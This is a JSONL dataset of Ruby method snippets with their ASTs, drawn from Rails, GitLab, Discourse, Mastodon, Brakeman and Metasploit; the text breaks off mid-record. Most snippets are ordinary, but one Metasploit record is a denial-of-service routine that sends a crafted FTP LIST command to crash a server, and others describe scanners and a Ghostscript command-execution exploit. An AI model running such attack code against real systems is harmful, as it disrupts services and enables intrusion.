{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/cache/behaviors/cache_store_behavior.rb","start_line":306,"raw_source":"def test_unversioned_cache_key\n    key = SecureRandom.uuid\n    klass = Class.new do\n      def initialize(key)\n        @key = key\n      end\n      def cache_key\n        @key\n      end\n      def cache_key_with_version\n        \"#{@key}-v1\"\n      end\n    end\n    @cache.write(klass.new(key), \"bar\")\n    assert_equal \"bar\", @cache.read(key)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_unversioned_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"uuid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"def\",\"children\":[\"cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@key\"]}]},{\"type\":\"def\",\"children\":[\"cache_key_with_version\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@key\"]}]},{\"type\":\"str\",\"children\":[\"-v1\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"bar\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"bar\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@cache\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]}","id":"8a85277f-d195-44ea-aed5-7feaef5da9e4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/column_positioning_test.rb","start_line":11,"raw_source":"def setup\n        super\n\n        @connection = ActiveRecord::Base.lease_connection\n\n        connection.create_table :testings, id: false do |t|\n          t.column :first, :integer\n          t.column :second, :integer\n          t.column :third, :integer\n        end\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"create_table\",{\"type\":\"sym\",\"children\":[\"testings\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"first\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"second\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"column\",{\"type\":\"sym\",\"children\":[\"third\"]},{\"type\":\"sym\",\"children\":[\"integer\"]}]}]}]}]}]}","id":"c4798974-0718-4877-b263-b9ccc52ed664"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/system_notes/issuables_service.rb","start_line":483,"raw_source":"def existing_mentions_for(mentioned_in, noteable, notes)\n      if mentioned_in.is_a?(Commit)\n        text = \"#{self.class.cross_reference_note_prefix}%#{mentioned_in.to_reference(nil)}\"\n        notes.like_note_or_capitalized_note(text)\n      else\n        from = noteable.project || noteable.try(:group) || noteable.try(:namespace)\n\n        gfm_reference = mentioned_in.gfm_reference(from)\n        text = cross_reference_note_content(gfm_reference)\n        notes.for_note_or_capitalized_note(text)\n      end\n    end","complexity_score":22.0,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_mentions_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mentioned_in\"]},{\"type\":\"arg\",\"children\":[\"noteable\"]},{\"type\":\"arg\",\"children\":[\"notes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentioned_in\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"cross_reference_note_prefix\"]}]},{\"type\":\"str\",\"children\":[\"%\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentioned_in\"]},\"to_reference\",{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"like_note_or_capitalized_note\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"from\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"try\",{\"type\":\"sym\",\"children\":[\"group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"noteable\"]},\"try\",{\"type\":\"sym\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"gfm_reference\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mentioned_in\"]},\"gfm_reference\",{\"type\":\"lvar\",\"children\":[\"from\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[null,\"cross_reference_note_content\",{\"type\":\"lvar\",\"children\":[\"gfm_reference\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notes\"]},\"for_note_or_capitalized_note\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}]}]}","id":"5730ace0-093d-4da1-a2e0-337e39ad930f"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":49,"raw_source":"def edit_directory_columns_details(column_data, directory_column)\n    directory_column = directory_column.attributes.transform_values(&:to_s)\n    previous_value = directory_column\n    new_value = directory_column.clone\n\n    directory_column.each do |key, value|\n      if column_data[key] != value && column_data[key].present?\n        new_value[key] = column_data[key]\n      elsif key != \"name\"\n        previous_value.delete key\n        new_value.delete key\n      end\n    end\n\n    [previous_value.to_json, new_value.to_json]\n  end","complexity_score":26.4,"ast_json":"{\"type\":\"def\",\"children\":[\"edit_directory_columns_details\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_data\"]},{\"type\":\"arg\",\"children\":[\"directory_column\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"directory_column\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory_column\"]},\"attributes\"]},\"transform_values\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"previous_value\",{\"type\":\"lvar\",\"children\":[\"directory_column\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory_column\"]},\"clone\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory_column\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_data\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"!=\",{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_value\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},null]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"previous_value\"]},\"to_json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"new_value\"]},\"to_json\"]}]}]}]}","id":"8f871a0f-2f7b-40a8-bea4-cf8142d6a32a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/helpers/user_notifications_helper.rb","start_line":13,"raw_source":"def correct_top_margin(html, desired)\n    fragment = Nokogiri::HTML5.fragment(html)\n    if para = fragment.css(\"p:first\").first\n      para[\"style\"] = \"margin-top: #{desired};\"\n    end\n    fragment.to_html.html_safe\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"correct_top_margin\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]},{\"type\":\"arg\",\"children\":[\"desired\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fragment\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML5\"]},\"fragment\",{\"type\":\"lvar\",\"children\":[\"html\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"para\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"css\",{\"type\":\"str\",\"children\":[\"p:first\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"para\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"style\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"margin-top: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"desired\"]}]},{\"type\":\"str\",\"children\":[\";\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fragment\"]},\"to_html\"]},\"html_safe\"]}]}]}","id":"7606f884-8ad9-4758-8d24-2c850780b654"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/post_revisor.rb","start_line":394,"raw_source":"def original_raw_key\n    \"original_raw_#{(@last_version_at.to_f * 1000).to_i}#{@post.id}\"\n  end","complexity_score":4.95,"ast_json":"{\"type\":\"def\",\"children\":[\"original_raw_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"original_raw_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@last_version_at\"]},\"to_f\"]},\"*\",{\"type\":\"int\",\"children\":[1000]}]}]},\"to_i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},\"id\"]}]}]}]}","id":"a37e5c18-1658-46d9-8ee2-32d7ca26dc01"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb","start_line":42,"raw_source":"def run\n    return unless connect_login\n\n    print_status('Sending command...')\n\n    # Try to wait for a response\n    send_cmd(['LIST', [0x2f, 0x5c].pack('CC')])\n\n    disconnect\n  end","complexity_score":6.9,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_login\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending command...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_cmd\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"LIST\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[47]},{\"type\":\"int\",\"children\":[92]}]},\"pack\",{\"type\":\"str\",\"children\":[\"CC\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"2a4ffc4a-e8c0-494d-8916-737b6fceb926"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2034,"raw_source":"def toggle_star(project)\n    UsersStarProject.transaction do\n      user_star_project = users_star_projects\n          .where(project: project, user: self).lock(true).first\n\n      if user_star_project\n        user_star_project.destroy\n      else\n        UsersStarProject.create!(project: project, user: self)\n      end\n    end\n  end","complexity_score":13.0,"ast_json":"{\"type\":\"def\",\"children\":[\"toggle_star\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UsersStarProject\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_star_project\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users_star_projects\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"lock\",{\"type\":\"true\",\"children\":[]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_star_project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_star_project\"]},\"destroy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UsersStarProject\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]}]}","id":"3c43b07d-cbb9-4816-8d23-d2d85cf79cd3"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/controller_alias_processor.rb","start_line":14,"raw_source":"def initialize tracker, only_method = nil\n    super tracker\n    @app_tree = tracker.app_tree\n    @only_method = only_method\n    @rendered = false\n    @current_class = @current_module = @current_method = nil\n    @method_cache = {} #Cache method lookups\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tracker\"]},{\"type\":\"optarg\",\"children\":[\"only_method\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@app_tree\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tracker\"]},\"app_tree\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@only_method\",{\"type\":\"lvar\",\"children\":[\"only_method\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rendered\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@current_class\",{\"type\":\"ivasgn\",\"children\":[\"@current_module\",{\"type\":\"ivasgn\",\"children\":[\"@current_method\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@method_cache\",{\"type\":\"hash\",\"children\":[]}]}]}]}","id":"a90c5f16-c017-4073-97d1-27573ccb93ba"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/metadata.rb","start_line":24,"raw_source":"def to_asciidoc\n        \"image:#{image_url}[link=\\\"#{link_url}\\\",title=\\\"#{title}\\\"]\"\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"to_asciidoc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"image:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"image_url\"]}]},{\"type\":\"str\",\"children\":[\"[link=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_url\"]}]},{\"type\":\"str\",\"children\":[\"\\\",title=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"title\"]}]},{\"type\":\"str\",\"children\":[\"\\\"]\"]}]}]}","id":"7efedf82-103a-42a1-8762-bb1eadbdcc8f"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/caching_test.rb","start_line":99,"raw_source":"def test_write_fragment_with_caching_enabled\n    assert_nil @store.read(\"views/name\")\n    assert_equal \"value\", @controller.write_fragment(\"name\", \"value\")\n    assert_equal \"value\", @store.read(\"views/name\")\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_write_fragment_with_caching_enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@controller\"]},\"write_fragment\",{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@store\"]},\"read\",{\"type\":\"str\",\"children\":[\"views/name\"]}]}]}]}]}","id":"aa422ae7-54c9-461a-9952-bf91affe4933"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/nagios_nrpe_arguments.rb","start_line":183,"raw_source":"def disconnect\n    @ssl_socket.sysclose if datastore['NRPESSL'] or @force_ssl\n    super\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"disconnect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NRPESSL\"]}]},{\"type\":\"ivar\",\"children\":[\"@force_ssl\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ssl_socket\"]},\"sysclose\"]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a1e92067-4c94-4102-a855-d06c1a07432d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/omniauth_callbacks_controller.rb","start_line":125,"raw_source":"def track_event(user, provider, status)\n    log_audit_event(user, with: provider)\n    update_login_counter_metric(provider, status)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"track_event\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"provider\"]},{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_audit_event\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"provider\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_login_counter_metric\",{\"type\":\"lvar\",\"children\":[\"provider\"]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"09442b76-c87d-4325-aad7-0809492b555c"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/tasks/database_tasks_test.rb","start_line":1544,"raw_source":"def test_target_version_returns_nil_if_version_does_not_exist\n      version = ENV.delete(\"VERSION\")\n      assert_nil ActiveRecord::Tasks::DatabaseTasks.target_version\n    ensure\n      ENV[\"VERSION\"] = version\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_target_version_returns_nil_if_version_does_not_exist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"version\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"delete\",{\"type\":\"str\",\"children\":[\"VERSION\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Tasks\"]},\"DatabaseTasks\"]},\"target_version\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"lvar\",\"children\":[\"version\"]}]}]}]}","id":"8cc1b902-2bc1-4b63-99f4-31b2058635ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/groups/stage.rb","start_line":89,"raw_source":"def members_pipeline\n        return {} unless migrate_memberships?\n\n        {\n          members: {\n            pipeline: BulkImports::Common::Pipelines::MembersPipeline,\n            stage: 1\n          }\n        }\n      end","complexity_score":2.25,"ast_json":"{\"type\":\"def\",\"children\":[\"members_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"migrate_memberships?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"members\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BulkImports\"]},\"Common\"]},\"Pipelines\"]},\"MembersPipeline\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stage\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]}","id":"79dda80f-2296-4329-a69e-b7b928c70145"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/policies/account_policy.rb","start_line":8,"raw_source":"def show?\n    role.can?(:manage_users)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"show?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role\"]},\"can?\",{\"type\":\"sym\",\"children\":[\"manage_users\"]}]}]}","id":"c0737f42-e1fa-48cd-a48b-10ae6d3ce5fe"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/docker_version.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Docker Server Version Scanner',\n        'Description' => %q{\n          This module attempts to identify the version of a Docker Server running on a\n          host. If you wish to see all the information available, set VERBOSE to true.\n        },\n        'Author' => [ 'Agora-Security' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(2375)\n      ]\n    )\n  end","complexity_score":5.55,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Docker Server Version Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module attempts to identify the version of a Docker Server running on a\\n\"]},{\"type\":\"str\",\"children\":[\"          host. If you wish to see all the information available, set VERBOSE to true.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Agora-Security\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[2375]}]}]}]}]}]}","id":"c6057161-2023-4360-b94b-c56d9cb63f4c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/fileformat/ghostscript_format_string_cve_2024_29510.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ghostscript Command Execution via Format String',\n        'Description' => %q{\n          This module exploits a format string vulnerability in Ghostscript\n          versions before 10.03.1 to achieve a SAFER sandbox bypass and execute\n          arbitrary commands. This vulnerability is reachable via libraries such as\n          ImageMagick.\n\n          This exploit only works against Ghostscript versions 10.03.0 and\n          10.01.2. Some offsets adjustement will probably be needed to make it\n          work with other versions.\n        },\n        'Author' => [\n          'Thomas Rinsma', # Vuln discovery and PoC\n          'Christophe De La fuente' # Metasploit module\n        ],\n        'References' => [\n          ['CVE', '2024-29510'],\n          ['URL', 'https://bugs.ghostscript.com/show_bug.cgi?id=707662'],\n          ['URL', 